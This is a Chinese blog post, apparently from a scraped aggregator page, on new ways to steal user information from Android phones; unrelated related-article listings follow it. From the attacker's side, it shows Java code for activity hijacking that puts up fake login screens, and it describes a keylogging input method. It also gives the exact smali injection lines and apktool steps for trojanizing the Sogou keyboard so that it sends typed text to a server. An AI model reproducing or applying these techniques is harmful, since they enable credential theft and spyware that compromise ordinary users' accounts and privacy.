Android窃取用户信息新思路
0×01 我们能得到哪些android手机上的app敏感信息
手机上的app敏感信息
◦通讯录,通讯记录,短信
◦各种app的帐号密码,输入信息资料等
◦各种影音资料,照片资料
◦等等
0×02 我们有哪些方法可以得到他们
通讯录,通讯记录,短信,这类信息需要我们的恶意apk在安装时申请大量敏感的权限,比如说
<uses-permission android:name=”android.permission.READ_CONTACTS” />
一个典型的联系人信息权限,这里需要在配置文件中声明,不然无法拿到
各种app的帐号密码,输入信息资料等,这些信息在非root情形下,非常难以获得
如果要强行获得大致有三种方式
a.栈劫持,完整代码见附件一,下面给出示例代码
b.部分apk会将敏感信息存入sd卡中,这里claud讲过,我就不说了
c.部分apk的配置文件读写权限设置不当,这个比较少
此外:我们可以把知名的apk文件重打包后再次发布,例如我们修改QQ的apk文件后再发布。
0×03 栈劫持核心代码
ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE );
List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();
//枚举进程
for(RunningAppProcessInfo appProcess : appProcesses) {
//如果APP在前台
if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
//APP是否在需要劫持的列表中
if (mVictims.containsKey(appProcess.processName)) {
if(UILogin.started == 0)
{
Intent UIIntent = new Intent(getBaseContext(), mVictims.get(appProcess.processName));
UIIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(UIIntent);
UILogin.started =1;
}
优点:不用修改目标apk,可以巧妙的骗取用户的账户密码
缺点:劫持到的界面在骗取了用户密码后,无法顺利进行下一步登录,
从而导致用户会意识到不对劲(除了极少数情况,我们弹出的界面可以把用户密码交互给正常的apk界面)
0×04 Android的apk重打包的优缺点
略
0×05 思考别的方法
这应该是一个非root就可以利用的技术
这应该是一个低权限的技术
这应该是一个通用型的技术
这样该是一个不易被察觉的技术
思考下,在android中apk之间是基本绝缘的,那有什么可以让我的apk访问到别的apk的敏感资源呢
在ios中,不越狱的情况下,为什么不允许装第三方的输入法,这里是不是隐含着一些漏洞呢!!!
0×06 Android输入法的机制-流程
输入法应用是具体处理用户输入行为的应用程序。为了能够在Android的输入法框架中良好的运行,所有的输入法应用都需要继承特定的service。Android平台的输入法框架为输入法应用定义了一个基类InputMethodService。InputMethodService提供了一个输入法的标准实现。定义了输入法生命周期内的重要函数,提供给开发人员进行相应的处理。
a. 当用户触发输入法显示的时候(客户端控件获得焦点),InputMethodService启动。首先调用onCreate() 函数,该函数在输入法第一次启动的时候调用,适合用来做一些初始化的设置,与其他service相同;
b. 调用onCreateInputView()函数,在该函数中创建KeyboardView并返回;
c. 调用onCreateCandidatesView()函数,在该函数中创建候选区实现并返回;
d. 调用onStartInputView()函数来开始输入内容,
e. 输入结束后调用onFinishInput()函数来结束当前的输入,
f. 如果移动到下一个输入框则重复调用onStartInputView和onFinishInput函数;
g. 在输入法关闭的时候调用onDestroy()函数。
0×07 Android输入法的机制-细节 (重点)
a.在InputMethodService中,有几个值得注意的方法或类getCurrentInputEditorInfo() 这个方法可以获得当前 编辑框的一组对象属性EditorInfo,他有如下的关键属性
EditorInfo .hintText顾名思义即为编辑框的默认值,这个是很关键的一个属性.
EditorInfo .packageName是指这个控件所属的apk的包名,比如说手机qq中的所有编辑框的packageName都是com.tencent.qq
b.getCurrentInputConnection()这个方法可以获得当前的编辑框的一个InputConnection对象,而这个对象则有多个强大的方法可以调用
commitText(CharSequence text, int newCursorPosition),很关键的一个函数,用来向编辑框写入值getTextAfterCursor(int n, int flags)
getTextBeforeCursor(int n, int flags)
顾名思义,即是得到输入框中的字符串,n代表读取多少位,flags设为0
0×08 Android输入法的hack技术
我们可以自己实现一个输入法,在输入每一个字符的时候记录,最后在onFinishInput方法处把输入框的值发 送到服务器去可以见示例代码2中,利用android示例代码SoftKeyboard修改的间谍apk,
其中在他的源代码中只改动了两处
handleCharacter 方法最后加入SoftKeyIcefish.postInfo(this);
onFinishInput方法加入SoftKeyIcefish.start();
0×09 Android输入法的-重打包搜狗输入法
通过sougou的配置文件可以发现关键的那个InputMethodService类即为
com.sohu.inputmethod.sogou.SogouIME.smali
打开这个文件搜索committext,然后在每一个这个后面加上
invoke-static {p0}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->postInfo(Landroid/inputmethodservice/InputMethodService;)V
即为SoftKeyIcefish.postInfo(this)
查找onFinishInput() v
第一行加上
invoke-static {}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->start()V
即为
SoftKeyIcefish.start();
Apktool b打包,签名,测试
0×10 测试效果,评论
利用对输入法的重打包,来实现窃取用户信息的方式,优点在于权限要求非常之低,只要求一个网络权限就可以窃取各种各样的用户输入信息了,而反观各种输入法他们自身申请的权限已经非常之高了。而且窃取的信息中包含的hinttext和包名又可以方便的帮助我们定位到具体的apk和输入框信息
0×11 详细内容见ppt附件
http://pan.baidu.com/share/link?shareid=134386&uk=3204812497
Android窃取用户信息新思路的更多相关文章
- 恶意软件正在利用SSLserver窃取用户个人信息!
安全套接层协议(SSL)及安全传输层协议(TLS)旨在提供一个安全.加密的client和server之间的连接网络.为进一步进行身份验证和加密,server必须提供证书,从而直接有效地证明其身份. 使 ...
- Android 实现用户列表信息的功能,然后选择删除幻灯片删除功能
在项目开发过程中.经常须要对用户列表的信息进行删除的操作.Android中经常使用的删除操作方式有两种 .一种就是类似微信的滑动出现删除button方式,另一种是通过CheckBox进行选择.然后通过 ...
- 【阿里聚安全·安全周刊】Python库现后门 可窃取用户SSH信息|Facebook再曝300万用户数据泄露
本周七个关键词:Python库现后门丨Facebook再曝数据泄露丨加密协议被曝严重漏洞丨英国报摊将出售"色情通行证"丨HTTPS的绿色锁图标丨机器学习和预测应用的API丨Ecli ...
- Android之QQ授权登录获取用户信息
有时候我们开发的app须要方便用户简单登录.能够让用户使用自己的qq.微信.微博登录到我们自己开发的app. 今天就在这里总结一下怎样在自己的app中集成QQ授权登录获取用户信息的功能. 首先我们打开 ...
- 浅谈MITM攻击之信息窃取(解密315晚会报道的免费WIFI窃取个人信息)
前言 所谓的MITM攻击(即中间人攻击),简而言之就是第三者通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方毫无感知.这个很早就成为黑客常用的手段,一会聊的315晚会窃取个人信息只是 ...
- QQ登入(2)获取用户信息
private void initView() { mUserInfo = (TextView) findViewById(R.id.user_info); mUserLogo = (ImageVie ...
- 具体评论ExpandableListView显示和查询模仿QQ组列表用户信息
在我们的项目开发过程,用户通常拥有的信息包,通过组来显示用户的信息,一时候通过一定的查询条件来显示查询后的相关用户信息.而且通过颜色选择器来设置列表信息的背景颜色. 当中借鉴xiaanming:htt ...
- 基于jsp+servlet图书管理系统之后台用户信息插入操作
前奏: 刚开始接触博客园写博客,就是写写平时学的基础知识,慢慢发现大神写的博客思路很清晰,知识很丰富,非常又价值,反思自己写的,顿时感觉非常low,有相当长一段时间没有分享自己的知识.于是静下心来钻研 ...
- 微信小程序获取用户信息“授权失败”场景的处理
很多的时候我们在处理小程序功能的时候需要用户获取用户信息,但是呢为了信息安全,用户不授权导致授权失败场景:但是小程序第二次不在启动授权信息弹层,为了用户体验,可以用以下方式处理: function i ...
随机推荐
- JavaWeb项目的classpath说明
概念解释: classpath : 即项目中WEB-INF下面的classes目录; 应用: [01] src路径下的文件在编译后会放到WEB-INF/classes路径下.默认的classpath是 ...
- Wincap安装出现“error opening file for writing wpcap.dll”之解决办法
Wincap安装出现"error opening file for writing wpcap.dll"之解决办法 安装Wireshark时,一直出现下面的错误,选择忽略这个错误, ...
- Android开发中退出程序几种方法
参考:http://johncookie.iteye.com/blog/890734 Android程序有很多Activity,比如说主窗口A,调用了子窗口B,子窗口B又调用子窗口C,back返回子窗 ...
- 转:printf打印输出2进制
转自:C语言中printf直接打出2进制数是%什么?16进制是什么? void print_2(int val2) { unsigned ; //从低位到高位,低端字节计算机 ; k <= ; ...
- Asp.Net_Web身份验证
百度一下”asp.net身份认证“,你会得到很多相关的资料,这些资料通常上来就会介绍诸如”Form认证“”Windows认证“等内容,而没有给出一个完整的流程.初学者对此往往一头雾水,我也曾经被坑过很 ...
- 每日一笔记之2:QT之坐标系统:
以前一直多单片机开发,也没怎么使用过大的显示器,第一次学习,备忘: QT画图系统. 绘图,通过QPainter类实现. Qt的绘图系统对底层函数进行了良好的封装,使得在屏幕和设备的绘图功能可能使用相同 ...
- android下调用C,JNI调用
1.eclipse中声明调用的C函数 com.example.test.MainActivity public native long RucMyfunction(int w,int h,int[] ...
- Hbase之批量数据写入
/** * Created by similarface on 16/8/16. */ import java.io.IOException; import org.apache.hadoop.con ...
- OpenCV图像处理中常用函数汇总(1)
//俗话说:好记性不如烂笔头 //用到opencv 中的函数时往往会一时记不起这个函数的具体参数怎么设置,故在此将常用函数做一汇总: Mat srcImage = imread("C:/Us ...
- linux 重命名文件和文件夹
linux下重命名文件或文件夹的命令mv既可以重命名,又可以移动文件或文件夹. 例子:将目录A重命名为B mv A B 例子:将/a目录移动到/b下,并重命名为c mv /a /b/c 其实在文本模式 ...